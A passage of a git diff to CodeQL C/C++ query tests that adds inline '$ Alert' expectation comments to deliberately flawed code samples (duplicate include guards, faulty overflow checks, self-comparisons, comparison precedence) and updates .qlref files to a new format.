Cleanup/Cleanup-DuplicateIncludeGuard/header2.h @@ -1,6 +1,6 @@ // header2.h -#ifndef INCLUDED_HEADER1 // oops! +#ifndef INCLUDED_HEADER1 // oops! // $ Alert #define INCLUDED_HEADER1 // ... diff --git a/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/header4.h b/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/header4.h index 57b36896ebd0..a3e19a07615f 100644 --- a/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/header4.h +++ b/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/header4.h @@ -1,6 +1,6 @@ // header4.h -#ifndef INCLUDED_HEADER4 +#ifndef INCLUDED_HEADER4 // $ Alert #define INCLUDED_HEADER4 // ... diff --git a/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/header6.h b/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/header6.h index 2148e608917d..89c2abaa3313 100644 --- a/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/header6.h +++ b/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/header6.h @@ -1,6 +1,6 @@ // header6.h -#ifndef INCLUDED_HEADER6 +#ifndef INCLUDED_HEADER6 // $ Alert #define INCLUDED_HEADER6 // ... diff --git a/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/header7.h b/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/header7.h index 4dd8875d69d8..d8ea8f603cee 100644 --- a/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/header7.h +++ b/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/header7.h @@ -1,6 +1,6 @@ // header7.h -#ifndef INCLUDED_HEADER6 // oops! +#ifndef INCLUDED_HEADER6 // oops! // $ Alert #define INCLUDED_HEADER6(x) (x) // ... diff --git a/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/subfolder/header4.h b/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/subfolder/header4.h index c5e44813dcd2..566227074b5b 100644 --- a/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/subfolder/header4.h +++ b/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/subfolder/header4.h @@ -1,6 +1,6 @@ // header4.h -#ifndef INCLUDED_HEADER4 // duplicate +#ifndef INCLUDED_HEADER4 // duplicate // $ Alert #define INCLUDED_HEADER4 // ... diff --git a/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/subfolder/header5.h b/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/subfolder/header5.h index ed54e7ea68cd..8dc0e496ebfe 100644 --- a/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/subfolder/header5.h +++ b/cpp/ql/test/query-tests/Header Cleanup/Cleanup-DuplicateIncludeGuard/subfolder/header5.h @@ -1,6 +1,6 @@ // header5.h -#ifndef INCLUDED_HEADER4 // duplicate +#ifndef INCLUDED_HEADER4 // duplicate // $ Alert #define INCLUDED_HEADER4 // ... diff --git a/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 13/LimitedScopeFile/LimitedScopeFile.qlref b/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 13/LimitedScopeFile/LimitedScopeFile.qlref index 5e38f12f9389..15b0c53ec249 100644 --- a/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 13/LimitedScopeFile/LimitedScopeFile.qlref +++ b/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 13/LimitedScopeFile/LimitedScopeFile.qlref @@ -1 +1,2 @@ -JPL_C/LOC-3/Rule 13/LimitedScopeFile.ql +query: JPL_C/LOC-3/Rule 13/LimitedScopeFile.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 13/LimitedScopeFile/file1.c b/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 13/LimitedScopeFile/file1.c index 96e8dc7ce864..b1a66e8f312a 100644 --- a/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 13/LimitedScopeFile/file1.c +++ b/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 13/LimitedScopeFile/file1.c @@ -1,6 +1,6 @@ // file1.c -int globalInt1; // BAD [only accessed in this file] +int globalInt1; // BAD [only accessed in this file] // $ Alert int globalInt2; // GOOD [accessed in file1.c and file2.c] int globalInt3; // GOOD [referenced in file1.h] int globalInt4; // GOOD [only accessed in one function, should be function scope instead] diff --git a/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 13/LimitedScopeFunction/LimitedScopeFunction.qlref b/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 13/LimitedScopeFunction/LimitedScopeFunction.qlref index c5e632ca9b6b..26d720a2ac8a 100644 --- a/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 13/LimitedScopeFunction/LimitedScopeFunction.qlref +++ b/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 13/LimitedScopeFunction/LimitedScopeFunction.qlref @@ -1 +1,2 @@ -JPL_C/LOC-3/Rule 13/LimitedScopeFunction.ql +query: JPL_C/LOC-3/Rule 13/LimitedScopeFunction.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 13/LimitedScopeFunction/test.c b/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 13/LimitedScopeFunction/test.c index a2089446ca77..80e7993e4f4c 100644 --- a/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 13/LimitedScopeFunction/test.c +++ b/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 13/LimitedScopeFunction/test.c @@ -5,9 +5,9 @@ int globalInt1; // GOOD [used in func1, func2] int globalInt2; // GOOD [used in func1, func2] int globalInt3; // GOOD [used in func1, func2] -int globalInt4; // BAD [only used in func1] -int globalInt5; // BAD [only used in func1] -int globalInt6; // BAD [only used in func1] +int globalInt4; // BAD [only used in func1] // $ Alert +int globalInt5; // BAD [only used in func1] // $ Alert +int globalInt6; // BAD [only used in func1] // $ Alert int globalInt7; // GOOD [not used, should be reported by another query] int globalInt8; // GOOD [used at file level] int *addrGlobalInt8 = &globalInt8; // GOOD [used in func1, func2] diff --git a/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 17/BasicIntTypes.qlref b/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 17/BasicIntTypes.qlref index 687711a321c4..e1e64db86c79 100644 --- a/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 17/BasicIntTypes.qlref +++ b/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 17/BasicIntTypes.qlref @@ -1 +1,2 @@ -JPL_C/LOC-3/Rule 17/BasicIntTypes.ql +query: JPL_C/LOC-3/Rule 17/BasicIntTypes.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 17/test.c b/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 17/test.c index 2becb75d916c..ef0f79598fbb 100644 --- a/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 17/test.c +++ b/cpp/ql/test/query-tests/JPL_C/LOC-3/Rule 17/test.c @@ -3,7 +3,7 @@ typedef uint8_t U8; typedef U8 something_else; void test1(U8* xptr) { } void test2(U8 x) { } -void test3(unsigned char x) { } +void test3(unsigned char x) { } // $ Alert void test4(uint8_t x){ } void test5(something_else x){ } static U8 test6; diff --git a/cpp/ql/test/query-tests/JPL_C/LOC-4/Rule 29/NonConstFunctionPointer/NonConstFunctionPointer.qlref b/cpp/ql/test/query-tests/JPL_C/LOC-4/Rule 29/NonConstFunctionPointer/NonConstFunctionPointer.qlref index 80637efae7a5..256adc1b4f83 100644 --- a/cpp/ql/test/query-tests/JPL_C/LOC-4/Rule 29/NonConstFunctionPointer/NonConstFunctionPointer.qlref +++ b/cpp/ql/test/query-tests/JPL_C/LOC-4/Rule 29/NonConstFunctionPointer/NonConstFunctionPointer.qlref @@ -1 +1,2 @@ -JPL_C/LOC-4/Rule 29/NonConstFunctionPointer.ql +query: JPL_C/LOC-4/Rule 29/NonConstFunctionPointer.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/JPL_C/LOC-4/Rule 29/NonConstFunctionPointer/test.c b/cpp/ql/test/query-tests/JPL_C/LOC-4/Rule 29/NonConstFunctionPointer/test.c index 9999d95be10d..5e7212066700 100644 --- a/cpp/ql/test/query-tests/JPL_C/LOC-4/Rule 29/NonConstFunctionPointer/test.c +++ b/cpp/ql/test/query-tests/JPL_C/LOC-4/Rule 29/NonConstFunctionPointer/test.c @@ -15,7 +15,7 @@ void test() funPtr2 = &myFunc2; //funPtr3 = &myFunc2; --- this would be a compilation error - funPtr1(); // BAD - funPtr2(); // BAD - funPtr3(); // GOOD [FALSE POSITIVE] + funPtr1(); // BAD // $ Alert + funPtr2(); // BAD // $ Alert + funPtr3(); // GOOD [FALSE POSITIVE] // $ Alert } diff --git a/cpp/ql/test/query-tests/JPL_C/LOC-4/Rule 30/FunctionPointerConversions/FunctionPointerConversions.qlref b/cpp/ql/test/query-tests/JPL_C/LOC-4/Rule 30/FunctionPointerConversions/FunctionPointerConversions.qlref index 48e8f90bf59b..803c795dc84b 100644 --- a/cpp/ql/test/query-tests/JPL_C/LOC-4/Rule 30/FunctionPointerConversions/FunctionPointerConversions.qlref +++ b/cpp/ql/test/query-tests/JPL_C/LOC-4/Rule 30/FunctionPointerConversions/FunctionPointerConversions.qlref @@ -1 +1,2 @@ -JPL_C/LOC-4/Rule 30/FunctionPointerConversions.ql +query: JPL_C/LOC-4/Rule 30/FunctionPointerConversions.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/JPL_C/LOC-4/Rule 30/FunctionPointerConversions/test.c b/cpp/ql/test/query-tests/JPL_C/LOC-4/Rule 30/FunctionPointerConversions/test.c index a36c9f396fe8..73a8aad87bd5 100644 --- a/cpp/ql/test/query-tests/JPL_C/LOC-4/Rule 30/FunctionPointerConversions/test.c +++ b/cpp/ql/test/query-tests/JPL_C/LOC-4/Rule 30/FunctionPointerConversions/test.c @@ -8,14 +8,14 @@ void test() { void (*funPtr1)() = &myFunc1; // GOOD voidFunPtr funPtr2 = &myFunc1; // GOOD - int *intPtr = &myFunc1; // BAD (function pointer -> int pointer) - void *voidPtr = &myFunc1; // BAD (function pointer -> void pointer) + int *intPtr = &myFunc1; // BAD (function pointer -> int pointer) // $ Alert + void *voidPtr = &myFunc1; // BAD (function pointer -> void pointer) // $ Alert int i = &myFunc1; // GOOD (permitted) funPtr1 = funPtr1; // GOOD funPtr2 = funPtr1; // GOOD - intPtr = funPtr1; // BAD (function pointer -> int pointer) - voidPtr = funPtr1; // BAD (function pointer -> void pointer) + intPtr = funPtr1; // BAD (function pointer -> int pointer) // $ Alert + voidPtr = funPtr1; // BAD (function pointer -> void pointer) // $ Alert i = funPtr1; // GOOD (permitted) funPtr1 = funPtr2; // GOOD @@ -26,7 +26,7 @@ void test() funPtr1 = (void (*)())funPtr1; // GOOD funPtr2 = (voidFunPtr)funPtr1; // GOOD - intPtr = (int *)funPtr1; // BAD (function pointer -> int pointer) - voidPtr = (void *)funPtr1; // BAD (function pointer -> void pointer) + intPtr = (int *)funPtr1; // BAD (function pointer -> int pointer) // $ Alert + voidPtr = (void *)funPtr1; // BAD (function pointer -> void pointer) // $ Alert i = (int)funPtr1; // GOOD (permitted) } diff --git a/cpp/ql/test/query-tests/Likely Bugs/AmbiguouslySignedBitField/AmbiguouslySignedBitField.qlref b/cpp/ql/test/query-tests/Likely Bugs/AmbiguouslySignedBitField/AmbiguouslySignedBitField.qlref index 78378f7b2993..c2826b9bade4 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/AmbiguouslySignedBitField/AmbiguouslySignedBitField.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/AmbiguouslySignedBitField/AmbiguouslySignedBitField.qlref @@ -1 +1,2 @@ -Likely Bugs/AmbiguouslySignedBitField.ql +query: Likely Bugs/AmbiguouslySignedBitField.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/AmbiguouslySignedBitField/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/AmbiguouslySignedBitField/test.cpp index 19aa4ef2e64b..7f2453b942d5 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/AmbiguouslySignedBitField/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/AmbiguouslySignedBitField/test.cpp @@ -9,18 +9,18 @@ enum myEnum { }; struct { - int nosign : 2; // BAD + int nosign : 2; // BAD // $ Alert signed int sign1 : 2; // GOOD unsigned int sign2 : 2; // GOOD signed sign3: 2; // GOOD unsigned sign4 : 2; // GOOD BOOL typedefbool: 2; // GOOD bool cppbool : 2; // GOOD - char nosignchar : 2; // BAD - short nosignshort : 2; // BAD - myAmbiguousType nosigntypedef : 2; // BAD + char nosignchar : 2; // BAD // $ Alert + short nosignshort : 2; // BAD // $ Alert + myAmbiguousType nosigntypedef : 2; // BAD // $ Alert mySignedType signedtypedef : 2; // GOOD - const int nosignconst : 2; // BAD + const int nosignconst : 2; // BAD // $ Alert const signed int signedconst : 2; myEnum nosignenum : 2; const myEnum constnosignenum : 2; diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/BadAdditionOverflowCheck.qlref b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/BadAdditionOverflowCheck.qlref index ae8cc803b690..75f106ffa079 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/BadAdditionOverflowCheck.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/BadAdditionOverflowCheck.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/BadAdditionOverflowCheck.ql +query: Likely Bugs/Arithmetic/BadAdditionOverflowCheck.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/ComparisonWithCancelingSubExpr.qlref b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/ComparisonWithCancelingSubExpr.qlref index d17e547e8e66..153457ea9906 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/ComparisonWithCancelingSubExpr.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/ComparisonWithCancelingSubExpr.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/ComparisonWithCancelingSubExpr.ql +query: Likely Bugs/Arithmetic/ComparisonWithCancelingSubExpr.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/PointlessSelfComparison.qlref b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/PointlessSelfComparison.qlref index 92873b897597..55be0938e341 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/PointlessSelfComparison.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/PointlessSelfComparison.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/PointlessSelfComparison.ql +query: Likely Bugs/Arithmetic/PointlessSelfComparison.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/SignedOverflowCheck.cpp b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/SignedOverflowCheck.cpp index e359fb098eb1..31d274209068 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/SignedOverflowCheck.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/SignedOverflowCheck.cpp @@ -5,7 +5,7 @@ bool cannotHoldAnother8(int n1) { // clang 8.0.0 -O2: deleted (silently) // gcc 9.2 -O2: deleted (silently) // msvc 19.22 /O2: not deleted - return n1 + 8 < n1; // BAD + return n1 + 8 < n1; // BAD // $ Alert[cpp/signed-overflow-check] } /* 2. Signed comparison with a narrower unsigned type. The narrower @@ -15,7 +15,7 @@ bool cannotHoldAnotherUShort(int n1, unsigned short delta) { // clang 8.0.0 -O2: deleted (silently) // gcc 9.2 -O2: deleted (silently) // msvc 19.22 /O2: not deleted - return n1 + delta < n1; // BAD + return n1 + delta < n1; // BAD // $ Alert[cpp/signed-overflow-check] } /* 3. Signed comparison with a non-narrower unsigned type. The @@ -32,7 +32,7 @@ bool shortShort1(unsigned short n1, unsigned short delta) { // BAD [BadAdditionOverflowCheck.ql] // GOOD [SigneOverflowCheck.ql]: Test always fails, but will never overflow. - return n1 + delta < n1; + return n1 + delta < n1; // $ Alert[cpp/bad-addition-overflow-check] } bool shortShort2(unsigned short n1, unsigned short delta) { @@ -70,7 +70,7 @@ extern se *getSo(void); bool func1(se *so) { se *o = getSo(); - if (so->xPos + so->xSize < so->xPos // BAD + if (so->xPos + so->xSize < so->xPos // BAD // $ Alert[cpp/signed-overflow-check] || so->xPos > o->xPos + o->xSize) { // GOOD // clang 8.0.0 -O2: not deleted // gcc 9.2 -O2: not deleted @@ -96,7 +96,7 @@ int checkOverflow4(unsigned int ioff, C c) { int overflow12(int n) { // not deleted by gcc or clang - return (n + 32 <= (unsigned)n? -1: 1); // BAD: n + 32 can overflow + return (n + 32 <= (unsigned)n? -1: 1); // BAD: n + 32 can overflow // $ Alert[cpp/signed-overflow-check] } bool multipleCasts(char x) { @@ -110,7 +110,7 @@ bool multipleCasts2(char x) { // BAD [BadAdditionOverflowCheck.ql] // GOOD [SigneOverflowCheck.ql]: Test always fails, but will never overflow. - return (int)(unsigned short)(x + '1') < (int)(unsigned short)x; + return (int)(unsigned short)(x + '1') < (int)(unsigned short)x; // $ Alert[cpp/bad-addition-overflow-check] } int does_it_overflow(int n1, unsigned short delta) { @@ -119,7 +119,7 @@ int does_it_overflow(int n1, unsigned short delta) { int overflow12b(int n) { // not deleted by gcc or clang - return ((unsigned)(n + 32) <= (unsigned)n? -1: 1); // BAD: n + 32 may overflow + return ((unsigned)(n + 32) <= (unsigned)n? -1: 1); // BAD: n + 32 may overflow // $ Alert[cpp/signed-overflow-check] } #define MACRO(E1, E2) (E1) <= (E2)? -1: 1 diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/SignedOverflowCheck.qlref b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/SignedOverflowCheck.qlref index dde648402029..a8d760f993f8 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/SignedOverflowCheck.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/SignedOverflowCheck.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/SignedOverflowCheck.ql +query: Likely Bugs/Arithmetic/SignedOverflowCheck.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/templates.cpp b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/templates.cpp index 7aa83440fd52..546ff7488fc5 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/templates.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/templates.cpp @@ -14,7 +14,7 @@ bool compareValues() { return T1::value < T2::value || // GOOD T1::value < T1::value || // BAD [NOT DETECTED] - C1::value < C1::value ; // BAD + C1::value < C1::value ; // BAD // $ Alert[cpp/comparison-of-identical-expressions] } bool callCompareValues() { diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/test.cpp index e36956f9c690..af3462aaee8a 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadAdditionOverflowCheck/test.cpp @@ -1,6 +1,6 @@ // Test for BadAdditionOverflowCheck. bool checkOverflow1(unsigned short a, unsigned short b) { - return (a + b < a); // BAD: comparison always false (due to promotion). + return (a + b < a); // BAD: comparison always false (due to promotion). // $ Alert[cpp/bad-addition-overflow-check] } // Test for BadAdditionOverflowCheck. @@ -10,7 +10,7 @@ bool checkOverflow2(unsigned short a, unsigned short b) { // Test for PointlessSelfComparison. bool selfCmp1(int x) { - return (x == (int)x); // BAD: always returns true. + return (x == (int)x); // BAD: always returns true. // $ Alert[cpp/comparison-of-identical-expressions] } // Test for PointlessSelfComparison. @@ -26,8 +26,8 @@ bool isnan(double x) { // Tests for ComparisonWithCancelingSubExpr. void cmpWithCancelingVar1(unsigned short x, unsigned short y, unsigned short z) { bool b; - b = x + y < x + z; // BAD: x can be canceled - b = x + y - x < z; // BAD: x can be canceled + b = x + y < x + z; // BAD: x can be canceled // $ Alert[cpp/comparison-canceling-subexpr] + b = x + y - x < z; // BAD: x can be canceled // $ Alert[cpp/comparison-canceling-subexpr] b = 2*x + y < 2*x + z; // BAD: x can be canceled b = 3*x + y - 2*x < z + x; // BAD: x can be canceled b = (-x) - (+x) < z - 2*x; // BAD: x can be canceled @@ -76,18 +76,18 @@ bool cmpWithCancelingVar3(int x) { bool selfCmp3(unsigned short x) { x++; - return (x == (unsigned short)x); // BAD: always returns true. + return (x == (unsigned short)x); // BAD: always returns true. // $ Alert[cpp/comparison-of-identical-expressions] } bool selfCmp4(int x) { - while (x == x) // BAD: always returns true. + while (x == x) // BAD: always returns true. // $ Alert[cpp/comparison-of-identical-expressions] { x = x + 1; } } bool selfCmp5(int x) { - while (x == x) // BAD: always returns true. [NOT DETECTED] + while (x == x) // BAD: always returns true. [NOT DETECTED] // $ Alert[cpp/comparison-of-identical-expressions] { x++; } @@ -105,7 +105,7 @@ bool checkOverflow3(unsigned int a, unsigned short b) { return false; } - return (a + b < a); // GOOD: b is automatically promoted to unsigned int + return (a + b < a); // GOOD: b is automatically promoted to unsigned int // $ Alert[cpp/comparison-canceling-subexpr] } // We imagine that the next two lines come from a platform-specific header. @@ -115,7 +115,7 @@ typedef unsigned long long size_t; int isSmallEnough(unsigned long long x) { // The cast is to the same syntactic type, and there is no macro involved. // That makes the cast redundant, and therefore the comparison is redundant. - if ((unsigned long long)x != x) { // BAD + if ((unsigned long long)x != x) { // BAD // $ Alert[cpp/comparison-of-identical-expressions] return 0; } // These comparisons are pointless on the platform where this test runs, but @@ -148,5 +148,5 @@ void useMarkRange(int offs) { #define MY_MACRO(x) (x) void myMacroTest(int x) { - MY_MACRO(x == x); // BAD + MY_MACRO(x == x); // BAD // $ Alert[cpp/comparison-of-identical-expressions] } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadCheckOdd/BadCheckOdd.qlref b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadCheckOdd/BadCheckOdd.qlref index 14c3e5c97e1d..544f107b3ff4 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadCheckOdd/BadCheckOdd.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadCheckOdd/BadCheckOdd.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/BadCheckOdd.ql +query: Likely Bugs/Arithmetic/BadCheckOdd.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadCheckOdd/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadCheckOdd/test.cpp index 14d030f14ef7..2d5dbab0906c 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadCheckOdd/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BadCheckOdd/test.cpp @@ -1,5 +1,5 @@ int test1(int x) { - return x % 2 == 1; // BAD + return x % 2 == 1; // BAD // $ Alert } int test2(unsigned int x) { @@ -7,7 +7,7 @@ int test2(unsigned int x) { } int test3(short x) { - return x % 2 == 1; // BAD + return x % 2 == 1; // BAD // $ Alert } int test4(unsigned short x) { diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BitwiseSignCheck/BitwiseSignCheck.qlref b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BitwiseSignCheck/BitwiseSignCheck.qlref index 27d5a87962e4..0a74257ab6e0 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BitwiseSignCheck/BitwiseSignCheck.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BitwiseSignCheck/BitwiseSignCheck.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/BitwiseSignCheck.ql \ No newline at end of file +query: Likely Bugs/Arithmetic/BitwiseSignCheck.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BitwiseSignCheck/bsc.cpp b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BitwiseSignCheck/bsc.cpp index 8aab27bcf4d2..a869af366120 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BitwiseSignCheck/bsc.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/BitwiseSignCheck/bsc.cpp @@ -1,9 +1,9 @@ bool is_bit_set_v1(int x, int bitnum) { - return (x & (1 << bitnum)) > 0; // BAD + return (x & (1 << bitnum)) > 0; // BAD // $ Alert } bool is_bit_set_v2(int x, int bitnum) { - return ((1 << bitnum) & x) > 0; // BAD + return ((1 << bitnum) & x) > 0; // BAD // $ Alert } bool plain_wrong(int x, int bitnum) { @@ -15,11 +15,11 @@ bool is_bit24_set(int x) { } bool is_bit31_set_bad_v1(int x) { - return (x & (1 << 31)) > 0; // BAD + return (x & (1 << 31)) > 0; // BAD // $ Alert } bool is_bit31_set_bad_v2(int x) { - return 0 < (x & (1 << 31)); // BAD + return 0 < (x & (1 << 31)); // BAD // $ Alert } bool is_bit31_set_good(int x) { diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/ComparisonPrecedence/ComparisonPrecedence.qlref b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/ComparisonPrecedence/ComparisonPrecedence.qlref index 1fd4cfa3e183..1ffebc3c0cbd 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/ComparisonPrecedence/ComparisonPrecedence.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/ComparisonPrecedence/ComparisonPrecedence.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/ComparisonPrecedence.ql +query: Likely Bugs/Arithmetic/ComparisonPrecedence.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/ComparisonPrecedence/template.cpp b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/ComparisonPrecedence/template.cpp index 37280b8da751..8898124b5667 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/ComparisonPrecedence/template.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/ComparisonPrecedence/template.cpp @@ -1,7 +1,7 @@ template void templateFunc1(T x, T y, T z) { - if (x < y < z) {} // BAD (though dubious as we can imagine other instantiations using an overloaded `operator<`) + if (x < y < z) {} // BAD (though dubious as we can imagine other instantiations using an overloaded `operator<`) // $ Alert if (x < y && y < z) {} // GOOD }; diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/ComparisonPrecedence/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/ComparisonPrecedence/test.cpp index 3a82d5c37d59..73ff07e6bbc1 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/ComparisonPrecedence/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/ComparisonPrecedence/test.cpp @@ -39,19 +39,19 @@ class MyClass2 { void test1(int x, int y, int z) { // built-in comparison - if (x < y < z) {} // BAD - if (x > y > z) {} // BAD - if (x <= y <= z) {} // BAD - if (x <= y <= z) {} // BAD - if (x < y > z) {} // BAD + if (x < y < z) {} // BAD // $ Alert + if (x > y > z) {} // BAD // $ Alert + if (x <= y <= z) {} // BAD // $ Alert + if (x <= y <= z) {} // BAD // $ Alert + if (x < y > z) {} // BAD // $ Alert if ((x < y) && (y < z)) {} // GOOD if (x < y && y < z) {} // GOOD - if ((x + 1) < (y + 1) < (z + 1)) {} // BAD - if (x < x + y < z) {} // BAD + if ((x + 1) < (y + 1) < (z + 1)) {} // BAD // $ Alert + if (x < x + y < z) {} // BAD // $ Alert if ((x < y) < z) {} // GOOD (this is deliberately allowed) - if (!(x < y < z)) {} // BAD + if (!(x < y < z)) {} // 